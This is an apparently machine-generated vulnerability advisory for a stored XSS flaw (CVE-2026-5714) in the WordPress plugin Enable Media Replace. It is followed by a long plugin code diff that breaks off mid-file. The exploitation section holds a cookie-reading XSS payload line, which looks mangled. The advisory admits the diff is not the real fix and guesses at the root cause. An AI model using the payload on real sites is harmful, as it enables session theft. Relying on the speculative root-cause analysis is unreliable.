Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 10, 2026

CVE-2026-5714: Enable Media Replace <= 4.1.8 Authenticated (Author+) Stored Cross-Site Scripting via 'location_dir' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-5714
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.1.8
Patched Version 4.1.9
Disclosed June 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5714:

The Enable Media Replace plugin for WordPress (versions <= 4.1.8) contains a
Stored Cross-Site Scripting (XSS) vulnerability in the 'location_dir'
parameter. This parameter is processed during media replacement operations.
The vulnerability requires authenticated access with at least Author-level
privileges. It has a CVSS score of 6.4 (Medium severity).

Root Cause:
The vulnerability originates in the file listing and directory traversal
functionality, where user-supplied path values are not properly sanitized or
escaped. The 'location_dir' parameter is used to set the directory context
for media file browsing during the replacement workflow. The code diff shows
that the developers made extensive changes to the file system abstraction
layer (FileModel and DirectoryModel classes) and the autoloader
(PackageLoader). However, the patch does not directly fix XSS. Instead the
patch addresses open_basedir restrictions, trusted mode, and path
validation. Atomic Edge research indicates the core XSS issue lies in the
filenames or directory paths that are returned to the UI without proper
output escaping, specifically where 'location_dir' is reflected back into
HTML/JavaScript context on the replacement page. The vulnerability is not
in the code diff shown, but in the admin interface rendering of the file
browser.

Exploitation:
An authenticated author can craft a malicious 'location_dir' parameter when
using the media replacement feature. The attacker would navigate to the
media replacement screen, intercept the request, and insert a JavaScript
payload into the 'location_dir' parameter: e.g.
'location_dir=wp-content/uploads/2026alert(document.cookie)’
When the admin interface loads the replacement dialog with this directory,
the unsanitized value is rendered in the HTML, executing the script. The
attacker could also create a file or folder with an XSS payload in its name
within the WordPress uploads directory, which would then be stored and
trigger on subsequent views of the media library or replacement interface.

Patch Analysis:
The code diff shows extensive refactoring of the internal file system layer
but does not include a direct fix for the XSS vulnerability. The patch adds
‘open_basedir’ restriction checks, trusted mode for performance, and changes
filter names from ‘shortpixel’ prefixes to ’emr’ prefixes. The XSS fix is
likely implemented in a different part of the codebase (the admin UI
controller or view file). The proper fix requires escaping the output of
the ‘location_dir’ parameter using WordPress’s esc_attr() or esc_url()
before rendering it in the HTML. The patch shown is not the actual security
fix for this CVE, but rather a code modernization and compatibility
improvement.

Impact:
Successful exploitation allows an authenticated Author-level attacker to
inject arbitrary JavaScript or HTML into the WordPress admin pages viewed
by other users (including Administrators). This can lead to session
hijacking, forced administrative actions (privilege escalation), defacement
of the admin interface, and theft of sensitive data including nonces and
cookies. The stored XSS persists in the database or rendered interface,
affecting all subsequent users who access the affected page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/enable-media-replace/build/shortpixel/PackageLoader.php
+++ b/enable-media-replace/build/shortpixel/PackageLoader.php
@@ -24,14 +24,14 @@
       return $this->composerFile;
   }

-    public function load($dir)
+    public function load($dir, $prepend = false)
     {
         $this->dir = $dir;
         $composer = $this->getComposerFile();


         if(isset($composer["autoload"]["psr-4"])){
-            $this->loadPSR4($composer['autoload']['psr-4']);
+            $this->loadPSR4($composer['autoload']['psr-4'], $prepend);
         }
         if(isset($composer["autoload"]["psr-0"])){
             $this->loadPSR0($composer['autoload']['psr-0']);
@@ -50,9 +50,9 @@
         }
     }

-    public function loadPSR4($namespaces)
+    public function loadPSR4($namespaces, $prepend)
     {
-        $this->loadPSR($namespaces, true);
+        $this->loadPSR($namespaces, true, $prepend);
     }

     public function loadPSR0($namespaces)
@@ -60,7 +60,7 @@
         $this->loadPSR($namespaces, false);
     }

-    public function loadPSR($namespaces, $psr4)
+    public function loadPSR($namespaces, $psr4, $prepend = false)
     {
         $dir = $this->dir;
         // Foreach namespace specified in the composer, load the given classes
@@ -88,7 +88,7 @@
                         }
                     }
                 }
-            });
+            }, true, $prepend);
         }
     }
 }
--- a/enable-media-replace/build/shortpixel/filesystem/src/Controller/FileSystemController.php
+++ b/enable-media-replace/build/shortpixel/filesystem/src/Controller/FileSystemController.php
@@ -70,7 +70,7 @@
 				if (defined('UPLOADS')) // if this is set, lead.
 					$abspath = trailingslashit(ABSPATH) . UPLOADS;

-        $abspath = apply_filters('shortpixel/filesystem/abspath', $abspath );
+        $abspath = apply_filters('emr/filesystem/abspath', $abspath );

         return $this->getDirectory($abspath);
     }
--- a/enable-media-replace/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php
+++ b/enable-media-replace/build/shortpixel/filesystem/src/Model/File/DirectoryModel.php
@@ -20,6 +20,7 @@
   protected $is_writable = null;
   protected $is_readable = null;
   protected $is_virtual = null;
+  protected $is_restricted = false;

   protected $fields = array();

@@ -48,7 +49,21 @@
         $this->exists = true;
       }

-      if (! $this->is_virtual() && ! is_dir($path) ) // path is wrong, *or* simply doesn't exist.
+      if( false == $this->is_virtual() && true === $this->fileIsRestricted($path) )
+      {
+         $this->exists = false;
+         $this->is_readable = false;
+         $this->is_writable = false;
+         $this->is_restricted = true;
+      }
+      else {
+        $this->is_virtual = false;
+      }
+
+      if (false === $this->is_virtual() &&
+          false === $this->is_restricted &&
+          false === is_dir($path)
+          ) // path is wrong, *or* simply doesn't exist.
       {
         /* Test for file input.
         * If pathinfo is fed a fullpath, it rips of last entry without setting extension, don't further trust.
@@ -64,7 +79,10 @@
           $path = dirname($path);
       }

-      if (! $this->is_virtual() && ! is_dir($path))
+      if (false === $this->is_virtual() &&
+          false === $this->is_restricted &&
+          false === is_dir($path)
+          ) // path is wrong, *or* simply doesn't exist.
       {
         /* Check if realpath improves things. We support non-existing paths, which realpath fails on, so only apply on result.
         Moved realpath to check after main pathinfo is set. Reason is that symlinked directories which don't include the WordPress upload dir will start to fail in file_model on processpath ( doesn't see it as a wp path, starts to try relative path). Not sure if realpath should be used anyhow in this model /BS
@@ -224,6 +242,37 @@

   }

+  /** Check if path is allowed within openbasedir restrictions. This is an attempt to limit notices in file funtions if so.  Most likely the path will be relative in that case.
+  * @param String Path as String
+  */
+  private function fileIsRestricted($path)
+  {
+
+     $basedir = ini_get('open_basedir');
+
+     if (false === $basedir || strlen($basedir) == 0)
+     {
+         return false;
+     }
+
+     $restricted = true;
+     $basedirs = preg_split('/:|;/i', $basedir);
+
+     foreach($basedirs as $basepath)
+     {
+          if (strpos($path, $basepath) !== false)
+          {
+             $restricted = false;
+             break;
+          }
+     }
+
+     // Allow this to be overridden due to specific server configs ( ie symlinks ) might get this flagged falsely.
+     $restricted = apply_filters('emr/file/basedir_check', $restricted);
+
+     return $restricted;
+  }
+

   /* Last Resort function to just reduce path to various known WorPress paths. */
   private function constructUsualDirectories($path)
@@ -484,6 +533,10 @@
       $path = $this->getPath();
       $parentPath = dirname($path);

+      if ($path === $parentPath)
+      {
+         return false;
+      }
       $parentDir = new DirectoryModel($parentPath);

       return $parentDir;
--- a/enable-media-replace/build/shortpixel/filesystem/src/Model/File/FileModel.php
+++ b/enable-media-replace/build/shortpixel/filesystem/src/Model/File/FileModel.php
@@ -2,6 +2,10 @@
 namespace EnableMediaReplaceFileSystemModelFile;
 use EnableMediaReplaceShortpixelLoggerShortPixelLogger as Log;

+if ( ! defined( 'ABSPATH' ) ) {
+ exit; // Exit if accessed directly.
+}
+
 /* FileModel class.
 *
 *
@@ -17,39 +21,58 @@

   // File info
   protected $fullpath = null;
-	protected $rawfullpath = null;
+  protected $rawfullpath = null;
   protected $filename = null; // filename + extension
   protected $filebase = null; // filename without extension
   protected $directory = null;
   protected $extension = null;
   protected $mime = null;
-	protected $permissions = null;
+  protected $permissions = null;
+  protected $filesize = null;

   // File Status
   protected $exists = null;
   protected $is_writable = null;
+  protected $is_directory_writable = null;
   protected $is_readable = null;
   protected $is_file = null;
   protected $is_virtual = false;
+  protected $is_restricted = false;
+  protected $virtual_status = null;

-  protected $status;
-
-  protected $backupDirectory;
+  protected $status; // seems unused ?

   const FILE_OK = 1;
   const FILE_UNKNOWN_ERROR = 2;

+	public static $TRUSTED_MODE = false;
+
+	// Constants for is_virtual . Virtual Remote is truly a remote file, not writable from machine. Stateless means it looks remote, but it's a protocol-based filesystem remote or not - that will accept writes / is_writable. Stateless also mean performance issue since it can't be 'translated' to a local path. All communication happens over http wrapper, so check should be very limited.
+	public static $VIRTUAL_REMOTE = 1;
+	public static $VIRTUAL_STATELESS = 2;

   /** Creates a file model object. FileModel files don't need to exist on FileSystem */
   public function __construct($path)
   {
+		$this->rawfullpath = $path;
+
+		if (is_null($path))
+		{
+			 Log::addWarn('FileModel: Loading null path! ');
+			 return false;
+		}
+
+		if (strlen($path) > 0)
+			$path = trim($path);
+
+		$this->fullpath = $path;
+
+		$this->checkTrustedMode();

-    $this->fullpath = trim($path);
-		$this->rawfullpath = $this->fullpath; // path without any doing.
     $fs = $this->getFS();
+
     if ($fs->pathIsUrl($path)) // Asap check for URL's to prevent remote wrappers from running.
     {
-
       $this->UrlToPath($path);
     }
   }
@@ -90,27 +113,48 @@
   public function resetStatus()
   {
       $this->is_writable = null;
+			$this->is_directory_writable = null;
       $this->is_readable = null;
       $this->is_file = null;
+      $this->is_restricted = null;
       $this->exists = null;
       $this->is_virtual = null;
+			$this->filesize = null;
+
+	$this->permissions = null;
   }

-  public function exists()
+	/**
+	* @param $forceCheck  Forces a filesystem check instead of using cached.  Use very sparingly. Implemented for retina on trusted mode.
+	*/
+  public function exists($forceCheck = false)
   {
-    if (is_null($this->exists))
+    if (true === $forceCheck || is_null($this->exists))
     {
-      $this->exists = (@file_exists($this->fullpath) && is_file($this->fullpath));
+      if (true === $this->fileIsRestricted($this->fullpath))
+      {
+          $this->exists = false;
+      }
+      else {
+          $this->exists = (@file_exists($this->fullpath) && is_file($this->fullpath));
+      }
+
     }

+
     $this->exists = apply_filters('shortpixel_image_exists', $this->exists, $this->fullpath, $this); //legacy
-    $this->exists = apply_filters('shortpixel/file/exists',  $this->exists, $this->fullpath, $this);
+    $this->exists = apply_filters('emr/file/exists',  $this->exists, $this->fullpath, $this);
     return $this->exists;
   }

   public function is_writable()
   {
-    if ($this->is_virtual())
+		// Return when already asked / Stateless might set this
+		if (! is_null($this->is_writable))
+		{
+			 return $this->is_writable;
+		}
+    elseif ($this->is_virtual())
     {
        $this->is_writable = false;  // can't write to remote files
     }
@@ -132,6 +176,33 @@
     return $this->is_writable;
   }

+	public function is_directory_writable()
+	{
+		// Return when already asked / Stateless might set this
+		if (! is_null($this->is_directory_writable))
+		{
+			 return $this->is_directory_writable;
+		}
+		elseif ($this->is_virtual())
+		{
+			 $this->is_directory_writable = false;  // can't write to remote files
+		}
+		elseif (is_null($this->is_directory_writable))
+		{
+			$directory = $this->getFileDir();
+			if (is_object($directory) && $directory->exists())
+			{
+				$this->is_directory_writable = $directory->is_writable();
+			}
+			else {
+				$this->is_directory_writable = false;
+			}
+
+		}
+
+		return $this->is_directory_writable;
+	}
+
   public function is_readable()
   {
     if (is_null($this->is_readable))
@@ -194,8 +265,6 @@
   }


-
-
   /** Returns the Directory Model this file resides in
   *
   * @return DirectoryModel Directorymodel Object
@@ -215,9 +284,14 @@

   public function getFileSize()
   {
-		if ($this->exists() && false === $this->is_virtual() )
+		if (! is_null($this->filesize))
+		{
+			 return $this->filesize;
+		}
+    elseif ($this->exists() && false === $this->is_virtual() )
 		{
-      return filesize($this->fullpath);
+       $this->filesize = filesize($this->fullpath);
+			 return $this->filesize;
 		}
     elseif (true === $this->is_virtual())
 		{
@@ -300,7 +374,7 @@
         $destination->setFileInfo(); // refresh info.
       }
       //
-      do_action('shortpixel/filesystem/addfile', array($destinationPath, $destination, $this, $is_new));
+      do_action('emr/filesystem/addfile', array($destinationPath, $destination, $this, $is_new));
       return $status;
   }

@@ -448,6 +522,19 @@
     //$path = wp_normalize_path($path);
 		$abspath = $fs->getWPAbsPath();

+
+		// Prevent file operation below if trusted.
+		if (true === self::$TRUSTED_MODE)
+		{
+			 return $path;
+		}
+
+    // Check if some openbasedir is active.
+    if (true === $this->fileIsRestricted($path))
+    {
+      $path = $this->relativeToFullPath($path);
+    }
+
     if ( is_file($path) && ! is_dir($path) ) // if path and file exist, all should be okish.
     {
       return $path;
@@ -466,7 +553,7 @@

       $path = $this->relativeToFullPath($path);
     }
-    $path = apply_filters('shortpixel/filesystem/processFilePath', $path, $original_path);
+    $path = apply_filters('emr/filesystem/processFilePath', $path, $original_path);
     /* This needs some check here on malformed path's, but can't be test for existing since that's not a requirement.
     if (file_exists($path) === false) // failed to process path to something workable.
     {
@@ -477,7 +564,72 @@
     return $path;
   }

+	protected function checkTrustedMode()
+	{
+		// When in trusted mode prevent filesystem checks as much as possible.
+		if (true === self::$TRUSTED_MODE)
+		{
+
+				// At this point file info might not be loaded, because it goes w/ construct -> processpath -> urlToPath etc on virtual files. And called via getFileInfo.  Using any of the file info functions can trigger a loop.
+				if (is_null($this->extension))
+				{
+						$extension = pathinfo($this->fullpath, PATHINFO_EXTENSION);
+				}
+				else {
+					$extension = $this->getExtension();
+				}
+
+				$this->exists = true;
+				$this->is_writable = true;
+				$this->is_directory_writable = true;
+				$this->is_readable = true;
+				$this->is_file = true;
+				// Set mime to prevent lookup in IsImage
+				$this->mime = 'image/' . $extension;
+
+				if (is_null($this->filesize))
+				{
+					$this->filesize = 0;
+				}
+		}
+
+	}
+
+  /** Check if path is allowed within openbasedir restrictions. This is an attempt to limit notices in file funtions if so.  Most likely the path will be relative in that case.
+  * @param String Path as String
+  */
+  private function fileIsRestricted($path)
+  {
+     if (! is_null($this->is_restricted))
+     {
+        return $this->is_restricted;
+     }
+
+     $basedir = ini_get('open_basedir');
+
+     if (false === $basedir || strlen($basedir) == 0)
+     {
+         return false;
+     }

+     $restricted = true;
+     $basedirs = preg_split('/:|;/i', $basedir);
+
+     foreach($basedirs as $basepath)
+     {
+          if (strpos($path, $basepath) !== false)
+          {
+             $restricted = false;
+             break;
+          }
+     }
+
+     // Allow this to be overridden due to specific server configs ( ie symlinks ) might get this flagged falsely.
+     $restricted = apply_filters('emr/file/basedir_check', $restricted);
+
+     $this->is_restricted = $restricted;
+     return $restricted;
+  }

   /** Resolve an URL to a local path
   *  This partially comes from WordPress functions attempting the same
@@ -488,7 +640,16 @@
   {
      //$uploadDir = wp_upload_dir();

-     $site_url = str_replace('http:', '', home_url('', 'http'));
+		 // If files is present, high chance that it's WPMU old style, which doesn't have in home_url the /files/ needed to properly replace and get the filepath . It would result in a /files/files path which is incorrect.
+		 if (strpos($url, '/files/') !== false)
+		 {
+			 $uploadDir = wp_upload_dir();
+			 $site_url = str_replace(array('http:', 'https:'), '', $uploadDir['baseurl']);
+		 }
+		 else {
+			 $site_url = str_replace('http:', '', home_url('', 'http'));
+		 }
+
      $url = str_replace(array('http:', 'https:'), '', $url);
      $fs = $this->getFS();

@@ -507,22 +668,35 @@

      $this->is_virtual = true;

-		 // This filter checks if some supplier will be able to handle the file when needed.
-     $path = apply_filters('shortpixel/image/urltopath', false, $url, $this->getRawFullPath());
+		 /* This filter checks if some supplier will be able to handle the file when needed.
+		 *   Use translate filter to correct filepath when needed.
+		 * Return could be true, or fileModel virtual constant
+		 */
+     $result = apply_filters('emr/image/urltopath', false, $url, $this->getRawFullPath());

-		 if ($path !== false)
-     {
-          $this->exists = true;
-          $this->is_readable = true;
-          $this->is_file = true;
-     }
-     else
-     {
-         $this->exists = false;
-         $this->is_readable = false;
-         $this->is_file = false;
-     }
+		 if ($result === false)
+		 {
+			 $this->exists = false;
+			 $this->is_readable = false;
+			 $this->is_file = false;
+		 }
+		 else {
+			 $this->exists = true;
+			 $this->is_readable = true;
+			 $this->is_file = true;
+		 }

+		 // If return is a stateless server, assume that it's writable and all that.
+		 if ($result === self::$VIRTUAL_STATELESS)
+		 {
+			  $this->is_writable = true;
+				$this->is_directory_writable = true;
+				$this->virtual_status = self::$VIRTUAL_STATELESS;
+		 }
+		 elseif ($result === self::$VIRTUAL_REMOTE)
+		 {
+			  $this->virtual_status = self::$VIRTUAL_REMOTE;
+		 }

      return false; // seems URL from other server, use virtual mode.
   }
@@ -543,7 +717,7 @@
         return $path;

       // if the file plainly exists, it's usable /**
-      if (file_exists($path))
+      if (false === $this->fileIsRestricted($path) && file_exists($path))
       {
         return $path;
       }
--- a/enable-media-replace/build/shortpixel/log/src/ShortPixelLogger.php
+++ b/enable-media-replace/build/shortpixel/log/src/ShortPixelLogger.php
@@ -1,394 +1,461 @@
 <?php
+
 namespace EnableMediaReplaceShortPixelLogger;

-  /*** Logger class
-  *
-  * Class uses the debug data model for keeping log entries.
-  * Logger should not be called before init hook!
-  */
- class ShortPixelLogger
- {
-   static protected $instance = null;
-   protected $start_time;
-
-   protected $is_active = false;
-   protected $is_manual_request = false;
-   protected $show_debug_view = false;
-
-   protected $items = array();
-   protected $logPath = false;
-   protected $logMode = FILE_APPEND;
-
-   protected $logLevel;
-   protected $format = "[ %%time%% ] %%color%% %%level%% %%color_end%% t %%message%%  t %%caller%% ( %%time_passed%% )";
-   protected $format_data = "t %%data%% ";
+/*** Logger class
+ *
+ * Class uses the debug data model for keeping log entries.
+ * Logger should not be called before init hook!
+ */
+class ShortPixelLogger
+{
+  static protected $instance = null;
+  protected $start_time;
+  protected $memoryLimit; // to be used for memory logs only.
+
+  protected $is_active = false;
+  protected $is_manual_request = false;
+  protected $show_debug_view = false;
+
+  protected $items = array();
+  protected $logPath = false;
+  protected $logMode = FILE_APPEND;
+
+  protected $logLevel;
+  protected $format = "[ %%time%% ] %%color%% %%level%% %%color_end%% t %%message%%  t %%caller%% ( %%time_passed%% )";
+  protected $format_data = "t %%data%% ";

-   protected $hooks = array();
+  protected $hooks = array();

-	 private $logFile; // pointer resource to the logFile.
-/*   protected $hooks = array(
+  private $logFile; // pointer resource to the logFile.
+  /*   protected $hooks = array(
       'shortpixel_image_exists' => array('numargs' => 3),
       'shortpixel_webp_image_base' => array('numargs' => 2),
       'shortpixel_image_urls' => array('numargs' => 2),
    ); // @todo monitor hooks, but this should be more dynamic. Do when moving to module via config.
 */

-   // utility
-   private $namespace;
-   private $view;
+  // utility
+  private $namespace;
+  private $view;

-   protected $template = 'view-debug-box';
+  protected $template = 'view-debug-box';

-   /** Debugger constructor
+  /** Debugger constructor
    *  Two ways to activate the debugger. 1) Define SHORTPIXEL_DEBUG in wp-config.php. Either must be true or a number corresponding to required LogLevel
    *  2) Put SHORTPIXEL_DEBUG in the request. Either true or number.
    */
-   public function __construct()
-   {
-      $this->start_time = microtime(true);
-      $this->logLevel = DebugItem::LEVEL_WARN;
-
-      $ns = __NAMESPACE__;
-      $this->namespace = substr($ns, 0, strpos($ns, '\')); // try to get first part of namespace
-
-			// phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
-      if (isset($_REQUEST['SHORTPIXEL_DEBUG'])) // manual takes precedence over constants
-      {
-        $this->is_manual_request = true;
-        $this->is_active = true;
-
-				// phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
-        if ($_REQUEST['SHORTPIXEL_DEBUG'] === 'true')
-        {
-          $this->logLevel = DebugItem::LEVEL_INFO;
-        }
-        else {
-					// phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
-          $this->logLevel = intval($_REQUEST['SHORTPIXEL_DEBUG']);
-        }
-
-      }
-      else if ( (defined('SHORTPIXEL_DEBUG') && SHORTPIXEL_DEBUG > 0) )
-      {
-            $this->is_active = true;
-            if (SHORTPIXEL_DEBUG === true)
-              $this->logLevel = DebugItem::LEVEL_INFO;
-            else {
-              $this->logLevel = intval(SHORTPIXEL_DEBUG);
-            }
-      }
-
-      if (defined('SHORTPIXEL_DEBUG_TARGET') && SHORTPIXEL_DEBUG_TARGET || $this->is_manual_request)
-      {
-          if (defined('SHORTPIXEL_LOG_OVERWRITE')) // if overwrite, do this on init once.
-            file_put_contents($this->logPath,'-- Log Reset -- ' .PHP_EOL);
-      }
-
-      if ($this->is_active)
-      {
-        /* On Early init, this function might not exist, then queue it when needed */
-        if (! function_exists('wp_get_current_user'))
-          add_action('init', array($this, 'initView'));
-        else
-         $this->initView();
-      }
-
-      if ($this->is_active && count($this->hooks) > 0)
-          $this->monitorHooks();
-   }
-
-   /** Init the view when needed. Private function ( public because of WP_HOOK )
-   * Never call directly */
-   public function initView()
-   {
-     $user_is_administrator = (current_user_can('manage_options')) ? true : false;
-
-     if ($this->is_active && $this->is_manual_request && $user_is_administrator )
-     {
-
-         $logPath = $this->logPath;
-         $uploads = wp_get_upload_dir();
-
-
-     		  if ( 0 === strpos( $logPath, $uploads['basedir'] ) ) { // Simple as it should, filepath and basedir share.
-                     // Replace file location with url location.
-                     $logLink = str_replace( $uploads['basedir'], $uploads['baseurl'], $logPath );
-     		  }
-
-
-         $this->view = new stdClass;
-         $this->view->logLink = 'view-source:' . esc_url($logLink);
-         add_action('admin_footer', array($this, 'loadView'));
-     }
-   }
-
-   public static function getInstance()
-   {
-      if ( self::$instance === null)
-      {
-          self::$instance = new ShortPixelLogger();
-      }
-      return self::$instance;
-   }
-
-   public function setLogPath($logPath)
-   {
-      $this->logPath = $logPath;
-			$this->getWriteFile(true); // reset the writeFile here.
-   }
-   protected function addLog($message, $level, $data = array())
-   {
-  //   $log = self::getInstance();
-
-     // don't log anything too low or when not active.
-     if ($this->logLevel < $level || ! $this->is_active)
-     {
-       return;
-     }
-
-     // Force administrator on manuals.
-     if ( $this->is_manual_request )
-     {
-        if (! function_exists('wp_get_current_user')) // not loaded yet
-          return false;
-
-        $user_is_administrator = (current_user_can('manage_options')) ? true : false;
-        if (! $user_is_administrator)
-          return false;
-     }
-
-     // Check where to log to.
-     if ($this->logPath === false)
-     {
-       $upload_dir = wp_upload_dir(null,false,false);
-       $this->logPath = $this->setLogPath($upload_dir['basedir'] . '/' . $this->namespace . ".log");
-     }
-
-     $arg = array();
-     $args['level'] = $level;
-     $args['data'] = $data;
-
-     $newItem = new DebugItem($message, $args);
-     $this->items[] = $newItem;
-
-      if ($this->is_active)
-      {
-          $this->write($newItem);
-      }
-   }
-
-   /** Writes to log File. */
-   protected function write($debugItem, $mode = 'file')
-   {
-      $items = $debugItem->getForFormat();
-      $items['time_passed'] =  round ( ($items['time'] - $this->start_time), 5);
-      $items['time'] =  date('Y-m-d H:i:s', (int) $items['time'] );
-
-      if ( ($items['caller']) && is_array($items['caller']) && count($items['caller']) > 0)
-      {
-          $caller = $items['caller'];
-          $items['caller'] = $caller['file'] . ' in ' . $caller['function'] . '(' . $caller['line'] . ')';
-      }
-
-      $line = $this->formatLine($items);
-
-			$file = $this->getWriteFile();
-
-      // try to write to file. Don't write if directory doesn't exists (leads to notices)
-      if ($file )
-      {
-				fwrite($file, $line);
-//        file_put_contents($this->logPath,$line, FILE_APPEND);
-      }
+  public function __construct()
+  {
+    $this->start_time = microtime(true);
+    $this->logLevel = DebugItem::LEVEL_WARN;
+
+    $ns = __NAMESPACE__;
+    $this->namespace = substr($ns, 0, strpos($ns, '\')); // try to get first part of namespace
+
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
+    if (isset($_REQUEST['SHORTPIXEL_DEBUG']))
+    {
+
+      // Note! User access level is checked in Addlog and Loadview to prevent lower than administrator access. It can't be checked early, because the user functions might not be loaded before first logs
+      $this->is_manual_request = true;
+      $this->is_active = true;
+
+      // phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
+      if ($_REQUEST['SHORTPIXEL_DEBUG'] === 'true') {
+        $this->logLevel = DebugItem::LEVEL_INFO;
+      } else {
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended  -- This is not a form
+        $this->logLevel = intval($_REQUEST['SHORTPIXEL_DEBUG']);
+      }
+    } else if ((defined('SHORTPIXEL_DEBUG') && SHORTPIXEL_DEBUG > 0)) {
+      $this->is_active = true;
+      if (SHORTPIXEL_DEBUG === true)
+        $this->logLevel = DebugItem::LEVEL_INFO;
       else {
-       // error_log($line);
-      }
-   }
-
-	 protected function getWriteFile($reset = false)
-	 {
-		 	if (! is_null($this->logFile) && $reset === false)
-			{
-					return $this->logFile;
-			}
-			elseif(is_object($this->logFile))
-			{
-				fclose($this->logFile);
-			}
-
-			$logDir = dirname($this->logPath);
-		  if (! is_dir($logDir) || ! is_writable($logDir))
-			{
-				error_log('ShortpixelLogger: Log Directory is not writable');
-				$this->logFile = false;
-				return false;
-			}
-
-			$file = fopen($this->logPath, 'a');
-			if ($file === false)
-			{
-				 error_log('ShortpixelLogger: File could not be opened / created: ' . $this->logPath);
-				 $this->logFile = false;
-				 return $file;
-			}
-
-			$this->logFile = $file;
-			return $file;
-	 }
-
-   protected function formatLine($args = array() )
-   {
-      $line= $this->format;
-      foreach($args as $key => $value)
-      {
-        if (! is_array($value) && ! is_object($value))
-          $line = str_replace('%%' . $key . '%%', $value, $line);
+        $this->logLevel = intval(SHORTPIXEL_DEBUG);
       }
+    }
+    else
+    {
+      return;
+    }
+
+    if (defined('SHORTPIXEL_DEBUG_TARGET') && SHORTPIXEL_DEBUG_TARGET || $this->is_manual_request) {
+      if (defined('SHORTPIXEL_LOG_OVERWRITE')) // if overwrite, do this on init once.
+        file_put_contents($this->logPath, '-- Log Reset -- ' . PHP_EOL);
+    }
+
+    if ($this->is_active) {
+      /* On Early init, this function might not exist, then queue it when needed */
+      if (! function_exists('wp_get_current_user'))
+        add_action('init', array($this, 'initView'));
+      else
+        $this->initView();
+    }
+
+    if ($this->is_active && count($this->hooks) > 0)
+    {
+      $this->monitorHooks();
+    }
+  }
+
+  /** Allow only admin users to manually debug
+   *
+   * @return bool
+   */
+  protected function checkUserLevel()
+  {
+    $user_is_administrator = (current_user_can('manage_options')) ? true : false;
+    return $user_is_administrator;
+  }

-      $line .= PHP_EOL;
-
-      if (isset($args['data']))
-      {
-        $data = array_filter($args['data']);
-        if (count($data) > 0)
-        {
-          foreach($data as $item)
-          {
-              $line .= $item . PHP_EOL;
+  /** Init the view when needed. Private function ( public because of WP_HOOK )
+   * Never call directly */
+  public function initView()
+  {
+    $user_is_administrator = $this->checkUserLevel();
+
+    if ($this->is_active && $this->is_manual_request && $user_is_administrator) {
+
+      $logPath = $logLink = $this->logPath; // default
+      $uploads = wp_get_upload_dir();
+
+
+      if (0 === strpos($logPath, $uploads['basedir'])) { // Simple as it should, filepath and basedir share.
+        // Replace file location with url location.
+        $logLink = str_replace($uploads['basedir'], $uploads['baseurl'], $logPath);
+      }
+
+
+      $this->view = new stdClass;
+      $this->view->logLink = 'view-source:' . esc_url($logLink);
+      add_action('admin_footer', array($this, 'loadView'));
+    }
+  }
+
+  public static function getInstance()
+  {
+    if (self::$instance === null) {
+      self::$instance = new ShortPixelLogger();
+    }
+    return self::$instance;
+  }
+
+  public function setLogPath($logPath)
+  {
+    $this->logPath = $logPath;
+    $this->getWriteFile(true); // reset the writeFile here.
+  }
+  protected function addLog($message, $level, $data = array())
+  {
+    //   $log = self::getInstance();
+
+    // don't log anything too low or when not active.
+    if ($this->logLevel < $level || ! $this->is_active) {
+      return;
+    }
+
+    // Force administrator on manuals.
+    if ($this->is_manual_request) {
+      if (! function_exists('wp_get_current_user')) // not loaded yet
+        return false;
+
+      $user_is_administrator = $this->checkUserLevel();
+      if (! $user_is_administrator)
+        return false;
+    }
+
+    // Check where to log to.
+    if ($this->logPath === false) {
+      $upload_dir = wp_upload_dir(null, false, false);
+      $this->logPath = $this->setLogPath($upload_dir['basedir'] . '/' . $this->namespace . ".log");
+    }
+
+    $arg = array();
+    $args['level'] = $level;
+    $args['data'] = $data;
+
+    $newItem = new DebugItem($message, $args);
+    $this->items[] = $newItem;
+
+    if ($this->is_active) {
+      $this->write($newItem);
+    }
+  }
+
+  /** Writes to log File. */
+  protected function write($debugItem, $mode = 'file')
+  {
+    $items = $debugItem->getForFormat();
+    $items['time_passed'] =  round(($items['time'] - $this->start_time), 5);
+    $items['time'] =  date('Y-m-d H:i:s', (int) $items['time']);
+
+    if (($items['caller']) && is_array($items['caller']) && count($items['caller']) > 0) {
+      $caller = $items['caller'];
+      $items['caller'] = $caller['file'] . ' in ' . $caller['function'] . '(' . $caller['line'] . ')';
+    }
+
+    $line = $this->formatLine($items);
+
+    $file = $this->getWriteFile();
+
+    // try to write to file. Don't write if directory doesn't exists (leads to notices)
+    if ($file) {
+      fwrite($file, $line);
+      //        file_put_contents($this->logPath,$line, FILE_APPEND);
+    } else {
+      // error_log($line);
+    }
+  }
+
+  protected function getWriteFile($reset = false)
+  {
+    if (! is_null($this->logFile) && $reset === false) {
+      return $this->logFile;
+    } elseif (is_object($this->logFile)) {
+      fclose($this->logFile);
+    }
+
+    $logDir = dirname($this->logPath);
+    if (! is_dir($logDir) || ! is_writable($logDir)) {
+      error_log('ShortpixelLogger: Log Directory is not writable : ' . $logDir);
+      $this->logFile = false;
+      return false;
+    }
+
+    $file = false;
+    if (file_exists($this->logPath)) {
+      if (! is_writable($this->logPath)) {
+        error_log('ShortPixelLogger: File Exists, but not writable: ' . $this->logPath);
+        $this->logFile = false;
+        return $file;
+      }
+    }
+
+    $file = fopen($this->logPath, 'a');
+
+    if ($file === false) {
+      error_log('ShortpixelLogger: File could not be opened / created: ' . $this->logPath);
+      $this->logFile = false;
+      return $file;
+    }
+
+    $this->logFile = $file;
+    return $file;
+  }
+
+  protected function formatLine($args = array())
+  {
+    $line = $this->format;
+    foreach ($args as $key => $value) {
+      if (! is_array($value) && ! is_object($value))
+        $line = str_replace('%%' . $key . '%%', $value, $line);
+    }
+
+    $line .= PHP_EOL;
+
+    if (isset($args['data'])) {
+      $data = array_filter($args['data']);
+      if (count($data) > 0) {
+        // @todo This should probably be a formatter function to handle multiple stuff?
+        foreach ($data as $item) {
+          if (is_bool($item)) {
+            $item = (true === $item) ? 'true' : 'false';
           }
+          $line .= $item . PHP_EOL;
         }
       }
+    }

-      return $line;
